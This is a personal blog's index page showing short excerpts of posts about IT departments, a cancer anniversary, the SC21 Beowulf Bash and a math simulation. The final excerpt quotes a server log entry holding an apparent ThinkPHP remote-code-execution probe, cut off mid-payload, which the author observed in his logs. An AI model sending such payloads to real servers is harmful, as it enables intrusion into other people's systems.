Joe Landman

Joe Landman

OG High Performance Computing (HPC) veteran. Non-practicing physicist, Ph.D in condensed matter theory. Closet mathematician, aspiring astrophotographer. Hubby, Father, Son, Uncle. Human.

deleting IT departments?

Thus wrote a MIT Sloan school professor in a Wall Street Journal opinion bit [https://optionsmasterycenter.com/its-time-to-get-rid-of-the-it-department/], about the concept of removing a department he felt to be unaligned with the business

On this day 10 years ago my wife called me at SC11

... and told me the results of a biopsy, that began this journey [https://blog.scalability.org/2011/11/ot-it-really-focuses-your-attention-on-the-important-things/] .  I was ready to pack up our booth and come home, but she said

Beowulf Bash at #SC21 !

Ill be there.  Virtually. For those who don't know about the bash, have a gander at the website [https://beowulfbash.com/].  Kudos to Doug, Lara, and the rest of the team

A fun saturday morning simulation

After walking the dogs this morning, I peaked at twitter, and found this [https://twitter.com/10kdiver/status/1459494548443332611] For those who prefer text to the image, the question is posed, what is

By their queries, shall you know them

So this appeared in my logs > [15/Oct/2021:15:48:15 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_